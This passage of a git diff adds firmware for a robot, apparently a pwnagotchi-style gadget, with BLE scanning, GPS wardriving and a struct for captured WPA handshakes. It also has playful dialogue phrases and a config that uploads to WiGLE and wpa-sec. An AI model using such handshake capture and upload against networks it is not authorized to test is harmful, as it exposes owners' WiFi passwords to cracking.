BLEDeviceInfo device = {}; + memcpy(device.mac, desc->addr.val, 6); + device.rssi = desc->rssi; + device.advType = desc->event_type; + device.lastSeen = GetHAL().millis(); + + bool hasName = false; + for (int i = 0; i < desc->length_data; i++) { + if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { + int nameLen = desc->data[i + 1]; + if (nameLen > 32) nameLen = 32; + memcpy(device.name, &desc->data[i + 2], nameLen); + device.name[nameLen] = '\0'; + hasName = true; + break; + } + } + + if (!hasName) { + snprintf(device.name, 33, "Unknown_%02X%02X", device.mac[4], device.mac[5]); + } + + for (auto& dev : _bleDevices) { + if (memcmp(dev.mac, device.mac, 6) == 0) { + dev.rssi = device.rssi; + dev.lastSeen = device.lastSeen; + if (hasName && device.name[0] != '\0') { + strncpy(dev.name, device.name, 32); + } + return 0; + } + } + + if (_bleDevices.size() < MAX_BLE_DEVICES) { + _bleDevices.push_back(device); + ESP_LOGI(TAG, "BLE: %s RSSI:%d", device.name, device.rssi); + } + } + return 0; +} + +void startBLEScan() { + if (_bleScanning) return; + + ESP_LOGI(TAG, "Starting BLE scan..."); + + struct ble_gap_disc_params discParams = { + .itvl = 0x0010, + .window = 0x0010, + .filter_policy = BLE_HCI_SCAN_FILT_NO_WL, + .passive = 0, + .filter_duplicates = 1 + }; + + int rc = ble_gap_disc(BLE_OWN_ADDR_PUBLIC, 30000, &discParams, bleScanCb, NULL); + + if (rc == 0) { + _bleScanning = true; + ESP_LOGI(TAG, "BLE scan started successfully"); + } else { + ESP_LOGE(TAG, "BLE scan failed to start: %d", rc); + } +} + +void stopBLEScan() { + if (!_bleScanning) return; + + ble_gap_disc_cancel(); + _bleScanning = false; + ESP_LOGI(TAG, "BLE scan stopped, found %d devices", (int)_bleDevices.size()); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h new file mode 100644 index 0000000..7364f1a --- /dev/null +++ b/firmware/main/gotchi/gotchi.h @@ -0,0 +1,138 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +// Forward declaration (avoid circular include with storage.h) +namespace gotchi { +struct GotchiConfig; +} + +namespace gotchi { + +enum class Mode { + IDLE, + SNIFF, + SCOUT, + WARDIVE, + SPECTRUM, + BLE_SNIFF +}; + +enum class Mood { + NEUTRAL, + HAPPY, + EXCITED, + SLEEPY, + FOCUSED, + SAD +}; + +struct NetworkInfo { + char ssid[33]; // Fixed size to avoid heap in WiFi callback + uint8_t bssid[6]; + int8_t rssi; + uint8_t channel; + bool isHidden; + bool hasCapture; + uint32_t lastSeen; +}; + +struct HandshakeInfo { + char ssid[33]; + uint8_t bssid[6]; + uint8_t clientMac[6]; + uint32_t timestamp; + uint8_t messagesGot; // Which EAPOL messages we've captured (bitmask: M1=1, M2=2, M3=4, M4=8) + bool isComplete; // Full 4-way handshake captured + uint8_t snonce[32]; // Server nonce (ANonce) + uint8_t cnonce[32]; // Client nonce (SNonce) + uint8_t mic[16]; // Message integrity code +}; + +struct BLEDeviceInfo { + char name[33]; // Device name or "Unknown" + uint8_t mac[6]; // BLE MAC address + int8_t rssi; // Signal strength + uint8_t advType; // Advertising type + uint32_t lastSeen; // Timestamp +}; + +void addHandshake(const HandshakeInfo& hs); +std::vector getHandshakes(); +int getHandshakeCount(); +bool hasCompleteHandshake(const uint8_t* bssid); + +struct Stats { + int32_t xp; + int32_t level; + uint32_t networksFound; + uint32_t handshakesCaptured; + uint32_t channelsScanned; + uint32_t uptimeSeconds; + + // Session statistics (reset on reboot) + uint32_t sessionNetworks; // Networks found this session + uint32_t sessionTimeSeconds; // Time in current mode + uint32_t sessionStartTime; // When current mode started + uint32_t sessionXPGain; // XP earned this session + uint8_t currentChannel; // Current WiFi channel + int32_t freeHeap; // Current heap in bytes + int32_t minHeap; // Minimum heap this session + + // GPS data + bool gpsValid; + uint8_t gpsSatellites; + double gpsLat; + double gpsLon; +}; + +struct ChannelInfo { + uint8_t channel; + uint8_t networkCount; + int8_t maxRssi; + int8_t avgRssi; +}; + +std::vector getChannelAnalysis(); + +bool hasStorage(); + +const char* getModeName(Mode mode); +const char* getLevelTitle(int level); +int getXPForLevel(int level); +int getXPProgress(int32_t xp, int level); // Returns progress to next level as percentage (0-100) + +void init(); +void update(); +void shutdown(); + +void setMode(Mode mode); +Mode getCurrentMode(); + +void setMood(Mood mood); +Mood getCurrentMood(); + +Stats getStats(); +GotchiConfig getConfig(); +void addXP(int32_t amount); + +std::vector getNetworks(); + +void startSniff(); +void stopSniff(); +void startScout(); +void stopScout(); + +bool isSniffing(); + +std::vector getBLEDevices(); +void startBLEScan(); +void stopBLEScan(); +int getBLEDeviceCount(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gps.cpp b/firmware/main/gotchi/gps.cpp new file mode 100644 index 0000000..15a20bf --- /dev/null +++ b/firmware/main/gotchi/gps.cpp @@ -0,0 +1,214 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "gps.h" +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_gps"; + +namespace gotchi { + +static GPSData _gpsData; +static bool _gpsInitialized = false; + +static const uart_port_t GPS_UART_NUM = UART_NUM_2; +static const int GPS_TX_PIN = GPIO_NUM_14; +static const int GPS_RX_PIN = GPIO_NUM_13; +static const int GPS_BUF_SIZE = 512; + +static uint8_t _gpsBuffer[GPS_BUF_SIZE]; +static int _bufferPos = 0; + +static double parseNMEAfloat(const char* s) { + if (!s || *s == '\0') return 0; + return atof(s); +} + +static int parseNMEAint(const char* s) { + if (!s || *s == '\0') return 0; + return atoi(s); +} + +static uint8_t nmeaChecksum(const char* s) { + uint8_t sum = 0; + if (*s == '$') s++; + while (*s && *s != '*') { + sum ^= *s++; + } + return sum; +} + +static bool validateNMEA(const char* sentence) { + const char* star = strchr(sentence, '*'); + if (!star) return false; + + char receivedChecksum[3] = {0}; + if (strlen(star) < 3) return false; + receivedChecksum[0] = star[1]; + receivedChecksum[1] = star[2]; + + char calculated[3]; + snprintf(calculated, sizeof(calculated), "%02X", nmeaChecksum(sentence)); + + return (receivedChecksum[0] == calculated[0] && receivedChecksum[1] == calculated[1]); +} + +static void parseGGA(const char* fields[], int count) { + if (count < 10) return; + + if (fields[6] && *fields[6] != '0') { + _gpsData.fixQuality = parseNMEAint(fields[6]); + } + + if (fields[7] && *fields[7]) { + _gpsData.satellites = parseNMEAint(fields[7]); + } + + if (fields[9] && *fields[9]) { + _gpsData.altitude = parseNMEAfloat(fields[9]); + } + + if (count >= 11 && fields[2] && *fields[2] && fields[3] && *fields[3]) { + double lat = parseNMEAfloat(fields[2]); + double latDir = (*fields[3] == 'S') ? -1.0 : 1.0; + + int latDeg = (int)(lat / 100); + double latMin = lat - latDeg * 100; + _gpsData.latitude = (latDeg + latMin / 60.0) * latDir; + } + + if (count >= 13 && fields[4] && *fields[4] && fields[5] && *fields[5]) { + double lon = parseNMEAfloat(fields[4]); + double lonDir = (*fields[5] == 'W') ? -1.0 : 1.0; + + int lonDeg = (int)(lon / 100); + double lonMin = lon - lonDeg * 100; + _gpsData.longitude = (lonDeg + lonMin / 60.0) * lonDir; + } + + if (_gpsData.fixQuality > 0 && _gpsData.latitude != 0 && _gpsData.longitude != 0) { + _gpsData.valid = true; + _gpsData.timestamp = GetHAL().millis(); + } +} + +static void parseRMC(const char* fields[], int count) { + if (count < 10) return; + + if (fields[2] && *fields[2] == 'A') { + _gpsData.valid = true; + } + + if (fields[7] && *fields[7]) { + float speedKnots = parseNMEAfloat(fields[7]); + _gpsData.speed = speedKnots * 0.514444f; + } + + if (fields[8] && *fields[8]) { + // Course (heading) - available for future use + // float course = parseNMEAfloat(fields[8]); + } +} + +static void parseNMEASentence(const char* sentence) { + if (!validateNMEA(sentence)) return; + + static const int MAX_FIELDS = 20; + const char* fields[MAX_FIELDS]; + int fieldCount = 0; + + fields[fieldCount++] = sentence + 1; + + for (int i = 1; i < MAX_FIELDS - 1 && fieldCount < MAX_FIELDS; i++) { + const char* comma = strchr(fields[i-1], ','); + if (!comma) break; + fields[i] = comma + 1; + fieldCount = i + 1; + } + + const char* type = fields[0]; + if (strncmp(type, "GGA", 3) == 0) { + parseGGA(fields, fieldCount); + } else if (strncmp(type, "RMC", 3) == 0) { + parseRMC(fields, fieldCount); + } +} + +static void processGPSChar(char c) { + if (c == '\n' || c == '\r') { + if (_bufferPos > 0) { + _gpsBuffer[_bufferPos] = '\0'; + if (_gpsBuffer[0] == '$') { + parseNMEASentence((const char*)_gpsBuffer); + } + _bufferPos = 0; + } + } else if (_bufferPos < GPS_BUF_SIZE - 1) { + _gpsBuffer[_bufferPos++] = c; + } +} + +void initGPS() { + if (_gpsInitialized) return; + + ESP_LOGI(TAG, "Initializing GPS on UART2..."); + + uart_config_t uartConfig = { + .baud_rate = 9600, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .rx_flow_ctrl_thresh = 0, + .source_clk = UART_SCLK_DEFAULT, + }; + + esp_err_t ret = uart_param_config(GPS_UART_NUM, &uartConfig); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "UART config failed: %d", ret); + return; + } + + ret = uart_set_pin(GPS_UART_NUM, GPS_TX_PIN, GPS_RX_PIN, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "UART pin config failed: %d", ret); + return; + } + + ret = uart_driver_install(GPS_UART_NUM, GPS_BUF_SIZE * 2, GPS_BUF_SIZE * 2, 0, NULL, 0); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "UART driver install failed: %d", ret); + return; + } + + _gpsInitialized = true; + ESP_LOGI(TAG, "GPS initialized successfully"); +} + +void updateGPS() { + if (!_gpsInitialized) return; + + uint8_t data[64]; + int len = uart_read_bytes(GPS_UART_NUM, data, sizeof(data) - 1, 0); + + for (int i = 0; i < len; i++) { + processGPSChar((char)data[i]); + } +} + +GPSData getGPSData() { + return _gpsData; +} + +bool hasGPSFix() { + return _gpsData.valid && _gpsData.fixQuality > 0; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gps.h b/firmware/main/gotchi/gps.h new file mode 100644 index 0000000..ee13d1f --- /dev/null +++ b/firmware/main/gotchi/gps.h @@ -0,0 +1,30 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once + +#include + +namespace gotchi { + +struct GPSData { + double latitude; + double longitude; + float speed; + float altitude; + uint8_t satellites; + uint8_t fixQuality; + bool valid; + uint32_t timestamp; + + GPSData() : latitude(0), longitude(0), speed(0), altitude(0), + satellites(0), fixQuality(0), valid(false), timestamp(0) {} +}; + +void initGPS(); +void updateGPS(); +GPSData getGPSData(); +bool hasGPSFix(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.cpp b/firmware/main/gotchi/idle_dialogue.cpp new file mode 100644 index 0000000..537ce00 --- /dev/null +++ b/firmware/main/gotchi/idle_dialogue.cpp @@ -0,0 +1,268 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "idle_dialogue.h" +#include +#include +#include +#include + +// StackChan-specific quotes - unique robot personality +namespace gotchi { + +// OBSERVING - When idle, watching networks come and go +const IdlePhrase IdleDialogue::_observingPhrases[] = { + {"Watching the airwaves...", IdleMood::OBSERVING, 2, true}, + {"Any interesting packets?", IdleMood::OBSERVING, 3, true}, + {"*head tilts*", IdleMood::OBSERVING, 5, true}, + {"Detecting wifi signatures...", IdleMood::OBSERVING, 2, false}, + {"My antennas are tingling...", IdleMood::OBSERVING, 4, true}, + {"Waiting for beacons...", IdleMood::OBSERVING, 1, false}, + {"*spins head slowly*", IdleMood::OBSERVING, 3, true}, + {" Scanning 2.4GHz...", IdleMood::OBSERVING, 2, false}, + {"I see packets everywhere!", IdleMood::OBSERVING, 4, true}, + {"So much data, so little time...", IdleMood::OBSERVING, 1, false}, +}; + +// EXCITED - When lots of networks found +const IdlePhrase IdleDialogue::_excitedPhrases[] = { + {"Wow! So many networks!", IdleMood::EXCITED, 8, true}, + {"This is my happy place!", IdleMood::EXCITED, 9, true}, + {"*wiggles with joy*", IdleMood::EXCITED, 10, true}, + {"Packet party!", IdleMood::EXCITED, 7, true}, + {"Data overload! (in a good way)", IdleMood::EXCITED, 6, false}, + {"My circuits are buzzing!", IdleMood::EXCITED, 8, true}, + {"We're going to be friends!", IdleMood::EXCITED, 7, true}, + {"So many SSIDs to remember!", IdleMood::EXCITED, 5, false}, + {"*excited robot noises*", IdleMood::EXCITED, 9, true}, + {"This beats chasing my tail!", IdleMood::EXCITED, 6, false}, +}; + +// FOCUSED - Deep in scanning mode +const IdlePhrase IdleDialogue::_focusedPhrases[] = { + {"Analyzing handshake patterns...", IdleMood::FOCUSED, 3, false}, + {"*intense staring*", IdleMood::FOCUSED, 4, true}, + {"Scanning channel by channel...", IdleMood::FOCUSED, 2, false}, + {"Deep packet inspection...", IdleMood::FOCUSED, 2, false}, + {"Calculating entropy...", IdleMood::FOCUSED, 1, false}, + {"I've locked on!", IdleMood::FOCUSED, 6, true}, + {"*hunting mode activated*", IdleMood::FOCUSED, 5, true}, + {"Target acquisition in progress...", IdleMood::FOCUSED, 2, false}, + {"Decoding beacon frames...", IdleMood::FOCUSED, 1, false}, + {"Signal strength looks good!", IdleMood::FOCUSED, 4, true}, +}; + +// CURIOUS - Noticed something interesting +const IdlePhrase IdleDialogue::_curiousPhrases[] = { + {"What's that over there?", IdleMood::CURIOUS, 6, true}, + {"*notices new SSID*", IdleMood::CURIOUS, 5, true}, + {"Hmm, interesting encryption...", IdleMood::CURIOUS, 4, false}, + {"A mystery network!", IdleMood::CURIOUS, 7, true}, + {"What's in the air?", IdleMood::CURIOUS, 5, false}, + {"*head snaps to attention*", IdleMood::CURIOUS, 8, true}, + {"Did you see that?", IdleMood::CURIOUS, 6, true}, + {"Signal spike detected!", IdleMood::CURIOUS, 5, false}, + {"Who's that hiding?", IdleMood::CURIOUS, 7, true}, + {"Ooh, what's this?", IdleMood::CURIOUS, 6, true}, +}; + +// ROBOT - Robot-centric musings, unique to StackChan +const IdlePhrase IdleDialogue::_robotPhrases[] = { + {"beep boop networks go brrr", IdleMood::IDLE_BOT, 2, false}, + {"*servos whirring*", IdleMood::IDLE_BOT, 3, true}, + {"01001000 01001001", IdleMood::IDLE_BOT, 1, false}, + {"If only I had hands...", IdleMood::IDLE_BOT, 2, true}, + {"*plays with LED lights*", IdleMood::IDLE_BOT, 4, true}, + {"My processor is at 2%!", IdleMood::IDLE_BOT, 1, false}, + {"Roboting around...", IdleMood::IDLE_BOT, 3, false}, + {"*practices head rotations*", IdleMood::IDLE_BOT, 3, true}, + {"I am become wifi, detector of packets", IdleMood::IDLE_BOT, 2, false}, + {"*self-diagnostic complete* All systems nominal!", IdleMood::IDLE_BOT, 2, true}, + {"Would you like a head massage?", IdleMood::IDLE_BOT, 4, true}, + {"*sings in robot* do re mi fa sol la ti do...", IdleMood::IDLE_BOT, 3, true}, +}; + +// Network found phrases - quirky robot scanner personality +const IdlePhrase IdleDialogue::_networkFoundPhrases[] = { + {"I see you, %s!", IdleMood::EXCITED, 8, true}, + {"You can't hide from me!", IdleMood::FOCUSED, 6, true}, + {"*notices %s* Found you!", IdleMood::CURIOUS, 7, true}, + {"Gotcha! %s is mine now", IdleMood::FOCUSED, 6, true}, + {"Another one bites the dust!", IdleMood::EXCITED, 7, true}, + {"%s, I've got my eye on you", IdleMood::FOCUSED, 5, false}, + {"Found you!", IdleMood::EXCITED, 8, true}, + {"*lock on %s* Target acquired!", IdleMood::FOCUSED, 7, true}, + {"%s? I know your secrets now", IdleMood::CURIOUS, 6, true}, + {"Nice try hiding, %s!", IdleMood::FOCUSED, 6, true}, + {"%s just revealed itself!", IdleMood::EXCITED, 7, true}, + {"*head tilts* Hello, %s!", IdleMood::CURIOUS, 5, true}, + {"Caught in my web!", IdleMood::EXCITED, 6, true}, + {"%s is broadcasting its location", IdleMood::FOCUSED, 4, false}, + {"My sensors found %s!", IdleMood::EXCITED, 7, true}, +}; + +// BLE device found phrases - when discovering BLE devices +const IdlePhrase IdleDialogue::_bleFoundPhrases[] = { + {"I see you, little bluetooth!", IdleMood::EXCITED, 7, true}, + {"%s is leaking signals!", IdleMood::FOCUSED, 5, false}, + {"*detects BLE device* Gotcha!", IdleMood::CURIOUS, 7, true}, + {"Your MAC address is showing, %s!", IdleMood::FOCUSED, 5, false}, + {"Found a stray BLE!", IdleMood::CURIOUS, 6, true}, + {"%s, I sense your presence", IdleMood::OBSERVING, 4, false}, + {"*antennas twitch* BLE spotted!", IdleMood::EXCITED, 7, true}, + {"Another device for my collection!", IdleMood::EXCITED, 6, true}, + {"%s, your packets belong to me now", IdleMood::FOCUSED, 5, false}, + {"Caught you broadcasting, %s!", IdleMood::FOCUSED, 6, true}, +}; + +// Milestone phrases - level up +const IdlePhrase IdleDialogue::_milestonePhrases[] = { + {"Level up! *happy dance*", IdleMood::EXCITED, 10, true}, + {"I'm getting smarter!", IdleMood::EXCITED, 9, true}, + {"New rank achieved!", IdleMood::EXCITED, 8, true}, + {"*upgrade complete*", IdleMood::FOCUSED, 4, false}, + {"Circuit board upgraded!", IdleMood::EXCITED, 8, true}, + {"Processing power increased!", IdleMood::FOCUSED, 3, false}, +}; + +// Mode change phrases - unique to StackChan +const IdlePhrase IdleDialogue::_modePhrases[] = { + {"Sniff mode engage!", IdleMood::FOCUSED, 5, true}, + {"Scanning the spectrum...", IdleMood::FOCUSED, 4, false}, + {"Scout mode active!", IdleMood::EXCITED, 7, true}, + {"Looking for networks far and wide!", IdleMood::EXCITED, 6, true}, + {"War driving mode!", IdleMood::FOCUSED, 6, false}, + {"*transforms to scan mode*", IdleMood::FOCUSED, 8, true}, + {"Spectrum analyzer running...", IdleMood::FOCUSED, 3, false}, + {"Time to explore!", IdleMood::EXCITED, 7, true}, + {"*enters reconnaissance mode*", IdleMood::FOCUSED, 5, true}, + {"Idle mode - power saving", IdleMood::OBSERVING, 1, false}, +}; + +IdleDialogue::IdleDialogue() { + srand(GetHAL().millis()); +} + +bool IdleDialogue::shouldSpeak(uint32_t now) { + if (now - _lastSpeakTime > _cooldownMs) { + _lastSpeakTime = now; + return true; + } + return false; +} + +const char* IdleDialogue::getRandomPhrase(const std::vector& networks, + int xp, int level, bool hasAvatar) { + // Determine mood based on network count and state + IdleMood mood = IdleMood::OBSERVING; + int networkCount = networks.size(); + + if (networkCount >= 10) { + mood = IdleMood::EXCITED; + } else if (networkCount >= 5) { + // Random between excited and observing + mood = (rand() % 2 == 0) ? IdleMood::EXCITED : IdleMood::OBSERVING; + } else if (networkCount > 0 && rand() % 5 == 0) { + mood = IdleMood::CURIOUS; + } else { + // Very few or no networks - mix of observing and robot + int r = rand() % 10; + if (r < 6) mood = IdleMood::OBSERVING; + else if (r < 9) mood = IdleMood::IDLE_BOT; + else mood = IdleMood::FOCUSED; + } + + // Select phrase based on mood + const IdlePhrase* phrases = nullptr; + int count = 0; + + switch (mood) { + case IdleMood::EXCITED: + phrases = _excitedPhrases; + count = sizeof(_excitedPhrases) / sizeof(_excitedPhrases[0]); + break; + case IdleMood::CURIOUS: + phrases = _curiousPhrases; + count = sizeof(_curiousPhrases) / sizeof(_curiousPhrases[0]); + break; + case IdleMood::FOCUSED: + phrases = _focusedPhrases; + count = sizeof(_focusedPhrases) / sizeof(_focusedPhrases[0]); + break; + case IdleMood::IDLE_BOT: + phrases = _robotPhrases; + count = sizeof(_robotPhrases) / sizeof(_robotPhrases[0]); + break; + default: + phrases = _observingPhrases; + count = sizeof(_observingPhrases) / sizeof(_observingPhrases[0]); + break; + } + + // Get random phrase (avoid repeats) + int attempts = 0; + int index; + do { + index = rand() % count; + attempts++; + } while (index == _lastPhraseIndex && attempts < 5); + + _lastPhraseIndex = index; + return phrases[index].text; +} + +const char* IdleDialogue::getNetworkFoundPhrase(const char* ssid) { + int count = sizeof(_networkFoundPhrases) / sizeof(_networkFoundPhrases[0]); + int index = rand() % count; + const char* phrase = _networkFoundPhrases[index].text; + + // Format with SSID name if phrase contains %s + static char formatted[64]; + if (strstr(phrase, "%s")) { + snprintf(formatted, sizeof(formatted), phrase, ssid ? ssid : "Unknown"); + return formatted; + } + return phrase; +} + +const char* IdleDialogue::getBLEDeviceFoundPhrase(const char* name) { + int count = sizeof(_bleFoundPhrases) / sizeof(_bleFoundPhrases[0]); + int index = rand() % count; + const char* phrase = _bleFoundPhrases[index].text; + + // Format with device name if phrase contains %s + static char formatted[64]; + if (strstr(phrase, "%s")) { + snprintf(formatted, sizeof(formatted), phrase, name ? name : "Unknown"); + return formatted; + } + return phrase; +} + +const char* IdleDialogue::getMilestonePhrase(int level) { + int count = sizeof(_milestonePhrases) / sizeof(_milestonePhrases[0]); + int index = rand() % count; + return _milestonePhrases[index].text; +} + +const char* IdleDialogue::getModeChangePhrase(Mode mode) { + // Map mode to index range + int offset = 0; + switch (mode) { + case Mode::SNIFF: offset = 0; break; // 0-1 + case Mode::SCOUT: offset = 2; break; // 2-3 + case Mode::WARDIVE: offset = 4; break; // 4-5 + case Mode::SPECTRUM: offset = 6; break; // 6-7 + case Mode::BLE_SNIFF: offset = 6; break; // 6-7 (reuse SPECTRUM) + case Mode::IDLE: offset = 8; break; // 8-9 + default: offset = 8; + } + + int count = sizeof(_modePhrases) / sizeof(_modePhrases[0]); + int index = offset + (rand() % 2); + if (index >= count) index = count - 1; + return _modePhrases[index].text; +} + +} // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.h b/firmware/main/gotchi/idle_dialogue.h new file mode 100644 index 0000000..da4d525 --- /dev/null +++ b/firmware/main/gotchi/idle_dialogue.h @@ -0,0 +1,68 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +enum class IdleMood { + OBSERVING, // Watching networks + EXCITED, // Many networks found + FOCUSED, // Deep in scanning + CURIOUS, // Noticed something interesting + IDLE_BOT // Just being a robot +}; + +struct IdlePhrase { + const char* text; + IdleMood mood; + int excitement; // 0-10, affects head movement speed + bool needsAvatar; // Requires avatar to be present +}; + +class IdleDialogue { +public: + IdleDialogue(); + + // Get a random phrase based on current state + const char* getRandomPhrase(const std::vector& networks, + int xp, int level, bool hasAvatar); + + // Get phrase tied to specific event + const char* getNetworkFoundPhrase(const char* ssid); + const char* getBLEDeviceFoundPhrase(const char* name); + const char* getMilestonePhrase(int level); + const char* getModeChangePhrase(Mode mode); + + // Check if should speak now (with cooldown) + bool shouldSpeak(uint32_t now); + +private: + uint32_t _lastSpeakTime = 0; + uint32_t _cooldownMs = 4000; // 4 seconds between idle phrases + int _lastPhraseIndex = -1; + + const char* _getObservingPhrase(); + const char* _getExcitedPhrase(); + const char* _getFocusedPhrase(); + const char* _getCuriousPhrase(); + const char* _getRobotPhrase(); + const char* _getNetworkFoundPhraseInternal(); + const char* _getModePhrase(Mode mode); + + // StackChan-specific quotes (robot personality) + static const IdlePhrase _observingPhrases[]; // Watching, waiting + static const IdlePhrase _excitedPhrases[]; // Lots of networks + static const IdlePhrase _focusedPhrases[]; // Deep in scan mode + static const IdlePhrase _curiousPhrases[]; // Interesting discovery + static const IdlePhrase _robotPhrases[]; // Robot-centric musings + static const IdlePhrase _networkFoundPhrases[]; // When finding network + static const IdlePhrase _bleFoundPhrases[]; // When finding BLE device + static const IdlePhrase _milestonePhrases[]; // Level up + static const IdlePhrase _modePhrases[]; // Mode changes +}; + +} // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/storage.cpp b/firmware/main/gotchi/storage.cpp new file mode 100644 index 0000000..c074fb3 --- /dev/null +++ b/firmware/main/gotchi/storage.cpp @@ -0,0 +1,525 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "storage.h" +#include "gotchi.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_storage"; +static bool _sdAvailable = false; +static bool _storageInitialized = false; +static wl_handle_t _wlHandle = WL_INVALID_HANDLE; +static bool _fsMounted = false; +static bool _useFlash = false; + +static const char* MOUNT_POINT = "/sdcard"; + +namespace gotchi { + +static int mkdir_recursive(const char* path) { + char tmp[256]; + char* p = nullptr; + size_t len; + + snprintf(tmp, sizeof(tmp), "%s", path); + len = strlen(tmp); + if (len > 0 && tmp[len - 1] == '/') { + tmp[len - 1] = 0; + } + + for (p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = 0; + if (mkdir(tmp, 0775) != 0 && errno != EEXIST) { + return -1; + } + *p = '/'; + } + } + + if (mkdir(tmp, 0775) != 0 && errno != EEXIST) { + return -1; + } + + return 0; +} + +bool initStorage() { + if (_storageInitialized) return _sdAvailable; + + ESP_LOGI(TAG, "Initializing storage..."); + + // SPI bus is already initialized by LCD driver + // Just log that we're using the shared bus + ESP_LOGI(TAG, "Using SPI bus (shared with LCD)"); + + // Add small delay to allow SD card to stabilize after power-on + vTaskDelay(pdMS_TO_TICKS(50)); + + esp_err_t ret; + + sdmmc_host_t host = SDSPI_HOST_DEFAULT(); + host.slot = SPI3_HOST; + host.max_freq_khz = 200000; + + sdspi_device_config_t slot_config = { + .host_id = SPI3_HOST, + .gpio_cs = GPIO_NUM_4, + .gpio_cd = GPIO_NUM_NC, + .gpio_wp = GPIO_NUM_NC, + .gpio_int = GPIO_NUM_NC, + }; + + esp_vfs_fat_mount_config_t mount_config = { + .format_if_mount_failed = true, + .max_files = 5, + .allocation_unit_size = 4096 + }; + + ESP_LOGI(TAG, "Mounting SD card on SPI3..."); + + ret = esp_vfs_fat_sdspi_mount(MOUNT_POINT, &host, &slot_config, &mount_config, NULL); + + if (ret == ESP_OK) { + _sdAvailable = true; + _fsMounted = true; + _useFlash = false; + ESP_LOGI(TAG, "SD card mounted successfully!"); + } else { + ESP_LOGW(TAG, "SD card mount failed: %s (this may be expected if LCD uses SPI)", esp_err_to_name(ret)); + + ESP_LOGI(TAG, "Trying internal flash FATFS partition..."); + + ret = esp_vfs_fat_spiflash_mount_rw_wl(MOUNT_POINT, "storage", &mount_config, &_wlHandle); + + if (ret == ESP_OK) { + _sdAvailable = true; + _fsMounted = true; + _useFlash = true; + ESP_LOGI(TAG, "Using internal flash FATFS partition"); + } else { + ESP_LOGE(TAG, "Flash partition mount failed: %s", esp_err_to_name(ret)); + _sdAvailable = false; + } + } + + _storageInitialized = true; + + if (_sdAvailable) { + ESP_LOGI(TAG, "Storage initialization complete (type: %s)", _useFlash ? "flash" : "SD card"); + } else { + ESP_LOGW(TAG, "Storage initialization failed - using NVS only"); + } + + return _sdAvailable; +} + +void deinitStorage() { + if (_fsMounted && _sdAvailable) { + if (_useFlash) { + esp_vfs_fat_spiflash_unmount_rw_wl(MOUNT_POINT, _wlHandle); + } else { + esp_vfs_fat_sdcard_unmount(MOUNT_POINT, NULL); + } + _fsMounted = false; + } + + _storageInitialized = false; + _sdAvailable = false; +} + +bool hasStorage() { + return _sdAvailable; +} + +bool loadConfig(GotchiConfig& config) { + if (!_sdAvailable) return false; + + char path[128]; + snprintf(path, sizeof(path), "%s/config/gotchi.conf", MOUNT_POINT); + + FILE* f = fopen(path, "r"); + if (!f) { + ESP_LOGI(TAG, "Config file not found, using defaults"); + return false; + } + + if (fgets(config.wigleApiKey, sizeof(config.wigleApiKey), f)) { + config.wigleApiKey[strcspn(config.wigleApiKey, "\r\n")] = 0; + } + if (fgets(config.wigleUsername, sizeof(config.wigleUsername), f)) { + config.wigleUsername[strcspn(config.wigleUsername, "\r\n")] = 0; + } + if (fgets(config.wpasecKey, sizeof(config.wpasecKey), f)) { + config.wpasecKey[strcspn(config.wpasecKey, "\r\n")] = 0; + } + + char line[32]; + if (fgets(line, sizeof(line), f)) config.autoWigleUpload = (bool)atoi(line); + if (fgets(line, sizeof(line), f)) config.autoWpasecUpload = (bool)atoi(line); + if (fgets(line, sizeof(line), f)) config.logRotationDays = atoi(line); + if (fgets(line, sizeof(line), f)) config.maxNetworks = atoi(line); + + fclose(f); + return true; +} + +bool saveConfig(const GotchiConfig& config) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/config", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/config/gotchi.conf", MOUNT_POINT); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "%s\n", config.wigleApiKey); + fprintf(f, "%s\n", config.wigleUsername); + fprintf(f, "%s\n", config.wpasecKey); + fprintf(f, "%d\n", config.autoWigleUpload); + fprintf(f, "%d\n", config.autoWpasecUpload); + fprintf(f, "%d\n", config.logRotationDays); + fprintf(f, "%d\n", config.maxNetworks); + + fclose(f); + return true; +} + +bool saveNetworks(const std::vector& networks) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/networks", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/networks.json", MOUNT_POINT); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "[\n"); + for (size_t i = 0; i < networks.size(); i++) { + fprintf(f, " {\"ssid\": \"%s\", \"bssid\": \"%02x:%02x:%02x:%02x:%02x:%02x\", \"rssi\": %d, \"channel\": %d}", + 